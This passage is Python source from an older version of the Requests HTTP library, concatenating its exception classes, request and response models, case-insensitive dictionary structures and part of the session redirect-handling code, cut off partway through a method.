class ReadTimeout(Timeout):
    """The server did not send any data in the allotted amount of time."""


class URLRequired(RequestException):
    """A valid URL is required to make a request."""


class TooManyRedirects(RequestException):
    """Too many redirects."""


class MissingSchema(RequestException, ValueError):
    """The URL schema (e.g. http or https) is missing."""


class InvalidSchema(RequestException, ValueError):
    """See defaults.py for valid schemas."""


class InvalidURL(RequestException, ValueError):
    """The URL provided was somehow invalid."""


class InvalidHeader(RequestException, ValueError):
    """The header value provided was somehow invalid."""


class ChunkedEncodingError(RequestException):
    """The server declared chunked encoding but sent an invalid chunk."""


class ContentDecodingError(RequestException, BaseHTTPError):
    """Failed to decode response content"""


class StreamConsumedError(RequestException, TypeError):
    """The content for this response was already consumed"""


class RetryError(RequestException):
    """Custom retries logic failed"""


# Warnings


class RequestsWarning(Warning):
    """Base warning for Requests."""
    pass


class FileModeWarning(RequestsWarning, DeprecationWarning):
    """A file was opened in text mode, but Requests determined its binary length."""
    pass






# -*- coding: utf-8 -*-

"""
requests.models
~~~~~~~~~~~~~~~

This module contains the primary objects that power Requests.
"""

import collections
import datetime

from io import BytesIO, UnsupportedOperation
from .hooks import default_hooks
from .structures import CaseInsensitiveDict

from .auth import HTTPBasicAuth
from .cookies import cookiejar_from_dict, get_cookie_header, _copy_cookie_jar
from .packages.urllib3.fields import RequestField
from .packages.urllib3.filepost import encode_multipart_formdata
from .packages.urllib3.util import parse_url
from .packages.urllib3.exceptions import (
    DecodeError, ReadTimeoutError, ProtocolError, LocationParseError)
from .exceptions import (
    HTTPError, MissingSchema, InvalidURL, ChunkedEncodingError,
    ContentDecodingError, ConnectionError, StreamConsumedError)
from .utils import (
    guess_filename, get_auth_from_url, requote_uri,
    stream_decode_response_unicode, to_key_val_list, parse_header_links,
    iter_slices, guess_json_utf, super_len, to_native_string,
    check_header_validity)
from .compat import (
    cookielib, urlunparse, urlsplit, urlencode, str, bytes, StringIO,
    is_py2, chardet, builtin_str, basestring)
from .compat import json as complexjson
from .status_codes import codes

#: The set of HTTP status codes that indicate an automatically
#: processable redirect.
REDIRECT_STATI = (
    codes.moved,               # 301
    codes.found,               # 302
    codes.other,               # 303
    codes.temporary_redirect,  # 307
    codes.permanent_redirect,  # 308
)

DEFAULT_REDIRECT_LIMIT = 30
CONTENT_CHUNK_SIZE = 10 * 1024
ITER_CHUNK_SIZE = 512


class RequestEncodingMixin(object):
    @property
    def path_url(self):
        """Build the path URL to use."""

        url = []

        p = urlsplit(self.url)

        path = p.path
        if not path:
            path = '/'

        url.append(path)

        query = p.query
        if query:
            url.append('?')
            url.append(query)

        return ''.join(url)

    @staticmethod
    def _encode_params(data):
        """Encode parameters in a piece of data.

        Will successfully encode parameters when passed as a dict or a list of
        2-tuples. Order is retained if data is a list of 2-tuples but arbitrary
        if parameters are supplied as a dict.
        """

        if isinstance(data, (str, bytes)):
            return data
        elif hasattr(data, 'read'):
            return data
        elif hasattr(data, '__iter__'):
            result = []
            for k, vs in to_key_val_list(data):
                if isinstance(vs, basestring) or not hasattr(vs, '__iter__'):
                    vs = [vs]
                for v in vs:
                    if v is not None:
                        result.append(
                            (k.encode('utf-8') if isinstance(k, str) else k,
                             v.encode('utf-8') if isinstance(v, str) else v))
            return urlencode(result, doseq=True)
        else:
            return data

    @staticmethod
    def _encode_files(files, data):
        """Build the body for a multipart/form-data request.

        Will successfully encode files when passed as a dict or a list of
        tuples. Order is retained if data is a list of tuples but arbitrary
        if parameters are supplied as a dict.
        The tuples may be 2-tuples (filename, fileobj), 3-tuples (filename, fileobj, contentype)
        or 4-tuples (filename, fileobj, contentype, custom_headers).
        """
        if (not files):
            raise ValueError("Files must be provided.")
        elif isinstance(data, basestring):
            raise ValueError("Data must not be a string.")

        new_fields = []
        fields = to_key_val_list(data or {})
        files = to_key_val_list(files or {})

        for field, val in fields:
            if isinstance(val, basestring) or not hasattr(val, '__iter__'):
                val = [val]
            for v in val:
                if v is not None:
                    # Don't call str() on bytestrings: in Py3 it all goes wrong.
                    if not isinstance(v, bytes):
                        v = str(v)

                    new_fields.append(
                        (field.decode('utf-8') if isinstance(field, bytes) else field,
                         v.encode('utf-8') if isinstance(v, str) else v))

        for (k, v) in files:
            # support for explicit filename
            ft = None
            fh = None
            if isinstance(v, (tuple, list)):
                if len(v) == 2:
                    fn, fp = v
                elif len(v) == 3:
                    fn, fp, ft = v
                else:
                    fn, fp, ft, fh = v
            else:
                fn = guess_filename(v) or k
                fp = v

            if isinstance(fp, (str, bytes, bytearray)):
                fdata = fp
            else:
                fdata = fp.read()

            rf = RequestField(name=k, data=fdata, filename=fn, headers=fh)
            rf.make_multipart(content_type=ft)
            new_fields.append(rf)

        body, content_type = encode_multipart_formdata(new_fields)

        return body, content_type


class RequestHooksMixin(object):
    def register_hook(self, event, hook):
        """Properly register a hook."""

        if event not in self.hooks:
            raise ValueError('Unsupported event specified, with event name "%s"' % (event))

        if isinstance(hook, collections.Callable):
            self.hooks[event].append(hook)
        elif hasattr(hook, '__iter__'):
            self.hooks[event].extend(h for h in hook if isinstance(h, collections.Callable))

    def deregister_hook(self, event, hook):
        """Deregister a previously registered hook.
        Returns True if the hook existed, False if not.
        """

        try:
            self.hooks[event].remove(hook)
            return True
        except ValueError:
            return False


class Request(RequestHooksMixin):
    """A user-created :class:`Request <Request>` object.

    Used to prepare a :class:`PreparedRequest <PreparedRequest>`, which is sent to the server.

    :param method: HTTP method to use.
    :param url: URL to send.
    :param headers: dictionary of headers to send.
    :param files: dictionary of {filename: fileobject} files to multipart upload.
    :param data: the body to attach to the request. If a dictionary is provided, form-encoding will take place.
    :param json: json for the body to attach to the request (if files or data is not specified).
    :param params: dictionary of URL parameters to append to the URL.
    :param auth: Auth handler or (user, pass) tuple.
    :param cookies: dictionary or CookieJar of cookies to attach to this request.
    :param hooks: dictionary of callback hooks, for internal usage.

    Usage::

      >>> import requests
      >>> req = requests.Request('GET', 'http://httpbin.org/get')
      >>> req.prepare()
      <PreparedRequest [GET]>
    """

    def __init__(self, method=None, url=None, headers=None, files=None,
        data=None, params=None, auth=None, cookies=None, hooks=None, json=None):

        # Default empty dicts for dict params.
        data = [] if data is None else data
        files = [] if files is None else files
        headers = {} if headers is None else headers
        params = {} if params is None else params
        hooks = {} if hooks is None else hooks

        self.hooks = default_hooks()
        for (k, v) in list(hooks.items()):
            self.register_hook(event=k, hook=v)

        self.method = method
        self.url = url
        self.headers = headers
        self.files = files
        self.data = data
        self.json = json
        self.params = params
        self.auth = auth
        self.cookies = cookies

    def __repr__(self):
        return '<Request [%s]>' % (self.method)

    def prepare(self):
        """Constructs a :class:`PreparedRequest <PreparedRequest>` for transmission and returns it."""
        p = PreparedRequest()
        p.prepare(
            method=self.method,
            url=self.url,
            headers=self.headers,
            files=self.files,
            data=self.data,
            json=self.json,
            params=self.params,
            auth=self.auth,
            cookies=self.cookies,
            hooks=self.hooks,
        )
        return p


class PreparedRequest(RequestEncodingMixin, RequestHooksMixin):
    """The fully mutable :class:`PreparedRequest <PreparedRequest>` object,
    containing the exact bytes that will be sent to the server.

    Generated from either a :class:`Request <Request>` object or manually.

    Usage::

      >>> import requests
      >>> req = requests.Request('GET', 'http://httpbin.org/get')
      >>> r = req.prepare()
      <PreparedRequest [GET]>

      >>> s = requests.Session()
      >>> s.send(r)
      <Response [200]>
    """

    def __init__(self):
        #: HTTP verb to send to the server.
        self.method = None
        #: HTTP URL to send the request to.
        self.url = None
        #: dictionary of HTTP headers.
        self.headers = None
        # The `CookieJar` used to create the Cookie header will be stored here
        # after prepare_cookies is called
        self._cookies = None
        #: request body to send to the server.
        self.body = None
        #: dictionary of callback hooks, for internal usage.
        self.hooks = default_hooks()

    def prepare(self, method=None, url=None, headers=None, files=None,
        data=None, params=None, auth=None, cookies=None, hooks=None, json=None):
        """Prepares the entire request with the given parameters."""

        self.prepare_method(method)
        self.prepare_url(url, params)
        self.prepare_headers(headers)
        self.prepare_cookies(cookies)
        self.prepare_body(data, files, json)
        self.prepare_auth(auth, url)

        # Note that prepare_auth must be last to enable authentication schemes
        # such as OAuth to work on a fully prepared request.

        # This MUST go after prepare_auth. Authenticators could add a hook
        self.prepare_hooks(hooks)

    def __repr__(self):
        return '<PreparedRequest [%s]>' % (self.method)

    def copy(self):
        p = PreparedRequest()
        p.method = self.method
        p.url = self.url
        p.headers = self.headers.copy() if self.headers is not None else None
        p._cookies = _copy_cookie_jar(self._cookies)
        p.body = self.body
        p.hooks = self.hooks
        return p

    def prepare_method(self, method):
        """Prepares the given HTTP method."""
        self.method = method
        if self.method is not None:
            self.method = to_native_string(self.method.upper())

    def prepare_url(self, url, params):
        """Prepares the given HTTP URL."""
        #: Accept objects that have string representations.
        #: We're unable to blindly call unicode/str functions
        #: as this will include the bytestring indicator (b'')
        #: on python 3.x.
        #: https://github.com/kennethreitz/requests/pull/2238
        if isinstance(url, bytes):
            url = url.decode('utf8')
        else:
            url = unicode(url) if is_py2 else str(url)

        # Don't do any URL preparation for non-HTTP schemes like `mailto`,
        # `data` etc to work around exceptions from `url_parse`, which
        # handles RFC 3986 only.
        if ':' in url and not url.lower().startswith('http'):
            self.url = url
            return

        # Support for unicode domain names and paths.
        try:
            scheme, auth, host, port, path, query, fragment = parse_url(url)
        except LocationParseError as e:
            raise InvalidURL(*e.args)

        if not scheme:
            error = ("Invalid URL {0!r}: No schema supplied. Perhaps you meant http://{0}?")
            error = error.format(to_native_string(url, 'utf8'))

            raise MissingSchema(error)

        if not host:
            raise InvalidURL("Invalid URL %r: No host supplied" % url)

        # Only want to apply IDNA to the hostname
        try:
            host = host.encode('idna').decode('utf-8')
        except UnicodeError:
            raise InvalidURL('URL has an invalid label.')

        # Carefully reconstruct the network location
        netloc = auth or ''
        if netloc:
            netloc += '@'
        netloc += host
        if port:
            netloc += ':' + str(port)

        # Bare domains aren't valid URLs.
        if not path:
            path = '/'

        if is_py2:
            if isinstance(scheme, str):
                scheme = scheme.encode('utf-8')
            if isinstance(netloc, str):
                netloc = netloc.encode('utf-8')
            if isinstance(path, str):
                path = path.encode('utf-8')
            if isinstance(query, str):
                query = query.encode('utf-8')
            if isinstance(fragment, str):
                fragment = fragment.encode('utf-8')

        if isinstance(params, (str, bytes)):
            params = to_native_string(params)

        enc_params = self._encode_params(params)
        if enc_params:
            if query:
                query = '%s&%s' % (query, enc_params)
            else:
                query = enc_params

        url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))
        self.url = url

    def prepare_headers(self, headers):
        """Prepares the given HTTP headers."""

        self.headers = CaseInsensitiveDict()
        if headers:
            for header in headers.items():
                # Raise exception on invalid header value.
                check_header_validity(header)
                name, value = header
                self.headers[to_native_string(name)] = value

    def prepare_body(self, data, files, json=None):
        """Prepares the given HTTP body data."""

        # Check if file, fo, generator, iterator.
        # If not, run through normal process.

        # Nottin' on you.
        body = None
        content_type = None
        length = None

        if not data and json is not None:
            # urllib3 requires a bytes-like body. Python 2's json.dumps
            # provides this natively, but Python 3 gives a Unicode string.
            content_type = 'application/json'
            body = complexjson.dumps(json)
            if not isinstance(body, bytes):
                body = body.encode('utf-8')

        is_stream = all([
            hasattr(data, '__iter__'),
            not isinstance(data, (basestring, list, tuple, dict))
        ])

        try:
            length = super_len(data)
        except (TypeError, AttributeError, UnsupportedOperation):
            length = None

        if is_stream:
            body = data

            if files:
                raise NotImplementedError('Streamed bodies and files are mutually exclusive.')

            if length:
                self.headers['Content-Length'] = builtin_str(length)
            else:
                self.headers['Transfer-Encoding'] = 'chunked'
        else:
            # Multi-part file uploads.
            if files:
                (body, content_type) = self._encode_files(files, data)
            else:
                if data:
                    body = self._encode_params(data)
                    if isinstance(data, basestring) or hasattr(data, 'read'):
                        content_type = None
                    else:
                        content_type = 'application/x-www-form-urlencoded'

            self.prepare_content_length(body)

            # Add content-type if it wasn't explicitly provided.
            if content_type and ('content-type' not in self.headers):
                self.headers['Content-Type'] = content_type

        self.body = body

    def prepare_content_length(self, body):
        if hasattr(body, 'seek') and hasattr(body, 'tell'):
            curr_pos = body.tell()
            body.seek(0, 2)
            end_pos = body.tell()
            self.headers['Content-Length'] = builtin_str(max(0, end_pos - curr_pos))
            body.seek(curr_pos, 0)
        elif body is not None:
            l = super_len(body)
            if l:
                self.headers['Content-Length'] = builtin_str(l)
        elif (self.method not in ('GET', 'HEAD')) and (self.headers.get('Content-Length') is None):
            self.headers['Content-Length'] = '0'

    def prepare_auth(self, auth, url=''):
        """Prepares the given HTTP auth data."""

        # If no Auth is explicitly provided, extract it from the URL first.
        if auth is None:
            url_auth = get_auth_from_url(self.url)
            auth = url_auth if any(url_auth) else None

        if auth:
            if isinstance(auth, tuple) and len(auth) == 2:
                # special-case basic HTTP auth
                auth = HTTPBasicAuth(*auth)

            # Allow auth to make its changes.
            r = auth(self)

            # Update self to reflect the auth changes.
            self.__dict__.update(r.__dict__)

            # Recompute Content-Length
            self.prepare_content_length(self.body)

    def prepare_cookies(self, cookies):
        """Prepares the given HTTP cookie data.

        This function eventually generates a ``Cookie`` header from the
        given cookies using cookielib. Due to cookielib's design, the header
        will not be regenerated if it already exists, meaning this function
        can only be called once for the life of the
        :class:`PreparedRequest <PreparedRequest>` object. Any subsequent calls
        to ``prepare_cookies`` will have no actual effect, unless the "Cookie"
        header is removed beforehand.
        """
        if isinstance(cookies, cookielib.CookieJar):
            self._cookies = cookies
        else:
            self._cookies = cookiejar_from_dict(cookies)

        cookie_header = get_cookie_header(self._cookies, self)
        if cookie_header is not None:
            self.headers['Cookie'] = cookie_header

    def prepare_hooks(self, hooks):
        """Prepares the given hooks."""
        # hooks can be passed as None to the prepare method and to this
        # method. To prevent iterating over None, simply use an empty list
        # if hooks is False-y
        hooks = hooks or []
        for event in hooks:
            self.register_hook(event, hooks[event])


class Response(object):
    """The :class:`Response <Response>` object, which contains a
    server's response to an HTTP request.
    """

    __attrs__ = [
        '_content', 'status_code', 'headers', 'url', 'history',
        'encoding', 'reason', 'cookies', 'elapsed', 'request'
    ]

    def __init__(self):
        super(Response, self).__init__()

        self._content = False
        self._content_consumed = False

        #: Integer Code of responded HTTP Status, e.g. 404 or 200.
        self.status_code = None

        #: Case-insensitive Dictionary of Response Headers.
        #: For example, ``headers['content-encoding']`` will return the
        #: value of a ``'Content-Encoding'`` response header.
        self.headers = CaseInsensitiveDict()

        #: File-like object representation of response (for advanced usage).
        #: Use of ``raw`` requires that ``stream=True`` be set on the request.
        # This requirement does not apply for use internally to Requests.
        self.raw = None

        #: Final URL location of Response.
        self.url = None

        #: Encoding to decode with when accessing r.text.
        self.encoding = None

        #: A list of :class:`Response <Response>` objects from
        #: the history of the Request. Any redirect responses will end
        #: up here. The list is sorted from the oldest to the most recent request.
        self.history = []

        #: Textual reason of responded HTTP Status, e.g. "Not Found" or "OK".
        self.reason = None

        #: A CookieJar of Cookies the server sent back.
        self.cookies = cookiejar_from_dict({})

        #: The amount of time elapsed between sending the request
        #: and the arrival of the response (as a timedelta).
        #: This property specifically measures the time taken between sending
        #: the first byte of the request and finishing parsing the headers. It
        #: is therefore unaffected by consuming the response content or the
        #: value of the ``stream`` keyword argument.
        self.elapsed = datetime.timedelta(0)

        #: The :class:`PreparedRequest <PreparedRequest>` object to which this
        #: is a response.
        self.request = None

    def __getstate__(self):
        # Consume everything; accessing the content attribute makes
        # sure the content has been fully read.
        if not self._content_consumed:
            self.content

        return dict(
            (attr, getattr(self, attr, None))
            for attr in self.__attrs__
        )

    def __setstate__(self, state):
        for name, value in state.items():
            setattr(self, name, value)

        # pickled objects do not have .raw
        setattr(self, '_content_consumed', True)
        setattr(self, 'raw', None)

    def __repr__(self):
        return '<Response [%s]>' % (self.status_code)

    def __bool__(self):
        """Returns true if :attr:`status_code` is 'OK'."""
        return self.ok

    def __nonzero__(self):
        """Returns true if :attr:`status_code` is 'OK'."""
        return self.ok

    def __iter__(self):
        """Allows you to use a response as an iterator."""
        return self.iter_content(128)

    @property
    def ok(self):
        try:
            self.raise_for_status()
        except HTTPError:
            return False
        return True

    @property
    def is_redirect(self):
        """True if this Response is a well-formed HTTP redirect that could have
        been processed automatically (by :meth:`Session.resolve_redirects`).
        """
        return ('location' in self.headers and self.status_code in REDIRECT_STATI)

    @property
    def is_permanent_redirect(self):
        """True if this Response one of the permanent versions of redirect"""
        return ('location' in self.headers and self.status_code in (codes.moved_permanently, codes.permanent_redirect))

    @property
    def apparent_encoding(self):
        """The apparent encoding, provided by the chardet library"""
        return chardet.detect(self.content)['encoding']

    def iter_content(self, chunk_size=1, decode_unicode=False):
        """Iterates over the response data.  When stream=True is set on the
        request, this avoids reading the content at once into memory for
        large responses.  The chunk size is the number of bytes it should
        read into memory.  This is not necessarily the length of each item
        returned as decoding can take place.

        chunk_size must be of type int or None. A value of None will
        function differently depending on the value of `stream`.
        stream=True will read data as it arrives in whatever size the
        chunks are received. If stream=False, data is returned as
        a single chunk.

        If decode_unicode is True, content will be decoded using the best
        available encoding based on the response.
        """

        def generate():
            # Special case for urllib3.
            if hasattr(self.raw, 'stream'):
                try:
                    for chunk in self.raw.stream(chunk_size, decode_content=True):
                        yield chunk
                except ProtocolError as e:
                    raise ChunkedEncodingError(e)
                except DecodeError as e:
                    raise ContentDecodingError(e)
                except ReadTimeoutError as e:
                    raise ConnectionError(e)
            else:
                # Standard file-like object.
                while True:
                    chunk = self.raw.read(chunk_size)
                    if not chunk:
                        break
                    yield chunk

            self._content_consumed = True

        if self._content_consumed and isinstance(self._content, bool):
            raise StreamConsumedError()
        elif chunk_size is not None and not isinstance(chunk_size, int):
            raise TypeError("chunk_size must be an int, it is instead a %s." % type(chunk_size))
        # simulate reading small chunks of the content
        reused_chunks = iter_slices(self._content, chunk_size)

        stream_chunks = generate()

        chunks = reused_chunks if self._content_consumed else stream_chunks

        if decode_unicode:
            chunks = stream_decode_response_unicode(chunks, self)

        return chunks

    def iter_lines(self, chunk_size=ITER_CHUNK_SIZE, decode_unicode=None, delimiter=None):
        """Iterates over the response data, one line at a time.  When
        stream=True is set on the request, this avoids reading the
        content at once into memory for large responses.

        .. note:: This method is not reentrant safe.
        """

        pending = None

        for chunk in self.iter_content(chunk_size=chunk_size, decode_unicode=decode_unicode):

            if pending is not None:
                chunk = pending + chunk

            if delimiter:
                lines = chunk.split(delimiter)
            else:
                lines = chunk.splitlines()

            if lines and lines[-1] and chunk and lines[-1][-1] == chunk[-1]:
                pending = lines.pop()
            else:
                pending = None

            for line in lines:
                yield line

        if pending is not None:
            yield pending

    @property
    def content(self):
        """Content of the response, in bytes."""

        if self._content is False:
            # Read the contents.
            try:
                if self._content_consumed:
                    raise RuntimeError(
                        'The content for this response was already consumed')

                if self.status_code == 0:
                    self._content = None
                else:
                    self._content = bytes().join(self.iter_content(CONTENT_CHUNK_SIZE)) or bytes()

            except AttributeError:
                self._content = None

        self._content_consumed = True
        # don't need to release the connection; that's been handled by urllib3
        # since we exhausted the data.
        return self._content

    @property
    def text(self):
        """Content of the response, in unicode.

        If Response.encoding is None, encoding will be guessed using
        ``chardet``.

        The encoding of the response content is determined based solely on HTTP
        headers, following RFC 2616 to the letter. If you can take advantage of
        non-HTTP knowledge to make a better guess at the encoding, you should
        set ``r.encoding`` appropriately before accessing this property.
        """

        # Try charset from content-type
        content = None
        encoding = self.encoding

        if not self.content:
            return str('')

        # Fallback to auto-detected encoding.
        if self.encoding is None:
            encoding = self.apparent_encoding

        # Decode unicode from given encoding.
        try:
            content = str(self.content, encoding, errors='replace')
        except (LookupError, TypeError):
            # A LookupError is raised if the encoding was not found which could
            # indicate a misspelling or similar mistake.
            #
            # A TypeError can be raised if encoding is None
            #
            # So we try blindly encoding.
            content = str(self.content, errors='replace')

        return content

    def json(self, **kwargs):
        """Returns the json-encoded content of a response, if any.

        :param \*\*kwargs: Optional arguments that ``json.loads`` takes.
        """

        if not self.encoding and self.content and len(self.content) > 3:
            # No encoding set. JSON RFC 4627 section 3 states we should expect
            # UTF-8, -16 or -32. Detect which one to use; If the detection or
            # decoding fails, fall back to `self.text` (using chardet to make
            # a best guess).
            encoding = guess_json_utf(self.content)
            if encoding is not None:
                try:
                    return complexjson.loads(
                        self.content.decode(encoding), **kwargs
                    )
                except UnicodeDecodeError:
                    # Wrong UTF codec detected; usually because it's not UTF-8
                    # but some other 8-bit codec.  This is an RFC violation,
                    # and the server didn't bother to tell us what codec *was*
                    # used.
                    pass
        return complexjson.loads(self.text, **kwargs)

    @property
    def links(self):
        """Returns the parsed header links of the response, if any."""

        header = self.headers.get('link')

        # l = MultiDict()
        l = {}

        if header:
            links = parse_header_links(header)

            for link in links:
                key = link.get('rel') or link.get('url')
                l[key] = link

        return l

    def raise_for_status(self):
        """Raises stored :class:`HTTPError`, if one occurred."""

        http_error_msg = ''
        if isinstance(self.reason, bytes):
            reason = self.reason.decode('utf-8', 'ignore')
        else:
            reason = self.reason

        if 400 <= self.status_code < 500:
            http_error_msg = u'%s Client Error: %s for url: %s' % (self.status_code, reason, self.url)

        elif 500 <= self.status_code < 600:
            http_error_msg = u'%s Server Error: %s for url: %s' % (self.status_code, reason, self.url)

        if http_error_msg:
            raise HTTPError(http_error_msg, response=self)

    def close(self):
        """Releases the connection back to the pool. Once this method has been
        called the underlying ``raw`` object must not be accessed again.

        *Note: Should not normally need to be called explicitly.*
        """
        if not self._content_consumed:
            self.raw.close()

        release_conn = getattr(self.raw, 'release_conn', None)
        if release_conn is not None:
            release_conn()






# -*- coding: utf-8 -*-

"""
requests.structures
~~~~~~~~~~~~~~~~~~~

Data structures that power Requests.
"""

import collections

from .compat import OrderedDict


class CaseInsensitiveDict(collections.MutableMapping):
    """A case-insensitive ``dict``-like object.

    Implements all methods and operations of
    ``collections.MutableMapping`` as well as dict's ``copy``. Also
    provides ``lower_items``.

    All keys are expected to be strings. The structure remembers the
    case of the last key to be set, and ``iter(instance)``,
    ``keys()``, ``items()``, ``iterkeys()``, and ``iteritems()``
    will contain case-sensitive keys. However, querying and contains
    testing is case insensitive::

        cid = CaseInsensitiveDict()
        cid['Accept'] = 'application/json'
        cid['aCCEPT'] == 'application/json'  # True
        list(cid) == ['Accept']  # True

    For example, ``headers['content-encoding']`` will return the
    value of a ``'Content-Encoding'`` response header, regardless
    of how the header name was originally stored.

    If the constructor, ``.update``, or equality comparison
    operations are given keys that have equal ``.lower()``s, the
    behavior is undefined.
    """

    def __init__(self, data=None, **kwargs):
        self._store = OrderedDict()
        if data is None:
            data = {}
        self.update(data, **kwargs)

    def __setitem__(self, key, value):
        # Use the lowercased key for lookups, but store the actual
        # key alongside the value.
        self._store[key.lower()] = (key, value)

    def __getitem__(self, key):
        return self._store[key.lower()][1]

    def __delitem__(self, key):
        del self._store[key.lower()]

    def __iter__(self):
        return (casedkey for casedkey, mappedvalue in self._store.values())

    def __len__(self):
        return len(self._store)

    def lower_items(self):
        """Like iteritems(), but with all lowercase keys."""
        return (
            (lowerkey, keyval[1])
            for (lowerkey, keyval)
            in self._store.items()
        )

    def __eq__(self, other):
        if isinstance(other, collections.Mapping):
            other = CaseInsensitiveDict(other)
        else:
            return NotImplemented
        # Compare insensitively
        return dict(self.lower_items()) == dict(other.lower_items())

    # Copy is required
    def copy(self):
        return CaseInsensitiveDict(self._store.values())

    def __repr__(self):
        return str(dict(self.items()))


class LookupDict(dict):
    """Dictionary lookup object."""

    def __init__(self, name=None):
        self.name = name
        super(LookupDict, self).__init__()

    def __repr__(self):
        return '<lookup \'%s\'>' % (self.name)

    def __getitem__(self, key):
        # We allow fall-through here, so values default to None

        return self.__dict__.get(key, None)

    def get(self, key, default=None):
        return self.__dict__.get(key, default)






# -*- coding: utf-8 -*-

"""
requests.session
~~~~~~~~~~~~~~~~

This module provides a Session object to manage and persist settings across
requests (cookies, auth, proxies).
"""
import os
from collections import Mapping
from datetime import datetime

from .auth import _basic_auth_str
from .compat import cookielib, OrderedDict, urljoin, urlparse
from .cookies import (
    cookiejar_from_dict, extract_cookies_to_jar, RequestsCookieJar, merge_cookies)
from .models import Request, PreparedRequest, DEFAULT_REDIRECT_LIMIT
from .hooks import default_hooks, dispatch_hook
from .utils import to_key_val_list, default_headers, to_native_string
from .exceptions import (
    TooManyRedirects, InvalidSchema, ChunkedEncodingError, ContentDecodingError)
from .packages.urllib3._collections import RecentlyUsedContainer
from .structures import CaseInsensitiveDict

from .adapters import HTTPAdapter

from .utils import (
    requote_uri, get_environ_proxies, get_netrc_auth, should_bypass_proxies,
    get_auth_from_url
)

from .status_codes import codes

# formerly defined here, reexposed here for backward compatibility
from .models import REDIRECT_STATI

REDIRECT_CACHE_SIZE = 1000


def merge_setting(request_setting, session_setting, dict_class=OrderedDict):
    """Determines appropriate setting for a given request, taking into account
    the explicit setting on that request, and the setting in the session. If a
    setting is a dictionary, they will be merged together using `dict_class`
    """

    if session_setting is None:
        return request_setting

    if request_setting is None:
        return session_setting

    # Bypass if not a dictionary (e.g. verify)
    if not (
            isinstance(session_setting, Mapping) and
            isinstance(request_setting, Mapping)
    ):
        return request_setting

    merged_setting = dict_class(to_key_val_list(session_setting))
    merged_setting.update(to_key_val_list(request_setting))

    # Remove keys that are set to None. Extract keys first to avoid altering
    # the dictionary during iteration.
    none_keys = [k for (k, v) in merged_setting.items() if v is None]
    for key in none_keys:
        del merged_setting[key]

    return merged_setting


def merge_hooks(request_hooks, session_hooks, dict_class=OrderedDict):
    """Properly merges both requests and session hooks.

    This is necessary because when request_hooks == {'response': []}, the
    merge breaks Session hooks entirely.
    """
    if session_hooks is None or session_hooks.get('response') == []:
        return request_hooks

    if request_hooks is None or request_hooks.get('response') == []:
        return session_hooks

    return merge_setting(request_hooks, session_hooks, dict_class)


class SessionRedirectMixin(object):
    def resolve_redirects(self, resp, req, stream=False, timeout=None,
                          verify=True, cert=None, proxies=None, **adapter_kwargs):
        """Receives a Response. Returns a generator of Responses."""

        i = 0
        hist = [] # keep track of history

        while resp.is_redirect:
            prepared_request = req.copy()

            if i > 0:
                # Update history and keep track of redirects.
                hist.append(resp)
                new_hist = list(hist)
                resp.history = new_hist

            try:
                resp.content  # Consume socket so it can be released
            except (ChunkedEncodingError, ContentDecodingError, RuntimeError):
                resp.raw.read(decode_content=False)

            if i >= self.max_redirects:
                raise TooManyRedirects('Exceeded %s redirects.' % self.max_redirects, response=resp)

            # Release the connection back into the pool.
            resp.close()

            url = resp.headers['location']

            # Handle redirection without scheme (see: RFC 1808 Section 4)
            if url.startswith('//'):
                parsed_rurl = urlparse(resp.url)
                url = '%s:%s' % (parsed_rurl.scheme, url)

            # The scheme should be lower case...
            parsed = urlparse(url)
            url = parsed.geturl()

            # Facilitate relative 'location' headers, as allowed by RFC 7231.
            # (e.g. '/path/to/resource' instead of 'http://domain.tld/path/to/resource')
            # Compliant with RFC3986, we percent encode the url.
            if not parsed.netloc:
                url = urljoin(resp.url, requote_uri(url))
            else:
                url = requote_uri(url)

            prepared_request.url = to_native_string(url)
            # Cache the url, unless it redirects to itself.
            if resp.is_permanent_redirect and req.url != prepared_request.url:
                self.redirect_cache[req.url] = prepared_request.url

            self.rebuild_method(prepared_request, resp)

            # https://github.com/kennethreitz/requests/issues/1084
            if resp.status_code not in (codes.temporary_redirect, codes.permanent_redirect):
                # https://github.com/kennethreitz/requests/issues/3490
                purged_headers = ('Content-Length', 'Content-Type', 'Transfer-Encoding')
                for header in purged_headers:
                    prepared_request.headers.pop(header, None)
                prepared_request.body = None

            headers = prepared_request.headers
            try:
                del headers['Cookie']
            except KeyError:
                pass

            # Extract any cookies sent on the response to the cookiejar
            # in the new request. Because we've mutated our copied prepared
            # request, use the old one that we haven't yet touched.
            extract_cookies_to_jar(prepared_request._cookies, req, resp.raw)
            prepared_request._cookies.update(self.cookies)
            prepared_request.prepare_cookies(prepared_request._cookies)

            # Rebuild auth and proxy information.
            proxies = self.rebuild_proxies(prepared_request, proxies)
            self.rebuild_auth(prepared_request, resp)

            # Override the original request.
            req = prepared_request

            resp = self.send(
                req,
                stream=stream,
                timeout=timeout,
                verify=verify,
                cert=cert,
                proxies=proxies,
                allow_redirects=False,
                **adapter_kwargs
            )

            extract_cookies_to_jar(self.cookies, prepared_request, resp.raw)

            i += 1
            yield resp

    def rebuild_auth(self, prepared_request, response):
        """When being redirected we may want to strip authentication from the
        request to avoid leaking credentials. This method intelligently removes
        and reapplies authentication where possible to avoid credential loss.
        """
        headers = prepared_request.headers
        url = prepared_request.url

        if 'Authorization' in headers:
            # If we get redirected to a new host, we should strip out any
            # authentication headers.
            original_parsed = urlparse(response.request.url)
            redirect_parsed = urlparse(url)

            if (original_parsed.hostname != redirect_parsed.hostname):
                del headers['Authorization']

        # .netrc might have more auth for us on our new host.
        new_auth = get_netrc_auth(url) if self.trust_env else None
        if new_auth is not None:
            prepared_request.prepare_auth(new_auth)

        return

    def rebuild_proxies(self, prepared_request, proxies):
        """This method re-evaluates the proxy configuration by considering the
        environment variables. If we are redirected to a URL covered by
        NO_PROXY, we strip the proxy configuration. Otherwise, we set missing
        proxy keys for this URL (in case they were stripped by a previous
        redirect).

        This method also replaces the Proxy-Authorization header where
        necessary.

        :rtype: dict
        """
        headers = prepared_request.headers
        url = prepared_request.url
        scheme = urlparse(url).scheme
        new_proxies = proxies.copy() if proxies is not None else {}

        if self.trust_env and not should_bypass_proxies(url):
            environ_proxies = get_environ_proxies(url)

            proxy = environ_proxies.get(scheme, environ_proxies.get('all'))

            if proxy:
                new_proxies.setdefault(scheme, proxy)

        if 'Proxy-Authorization' in headers:
            del headers['Proxy-Authorization']

        try:
            username, password = get_auth_from_url(new_proxies[scheme])
        except KeyError:
            username, password = None, None

        if username and password:
            headers['Proxy-Authorization'] = _basic_auth_str(username, password)

        return new_proxies

    def rebuild_method(self, prepared_request, response):
        """When being redirected we may want to change the method of the request
        based on certain specs or browser behavior.
        """
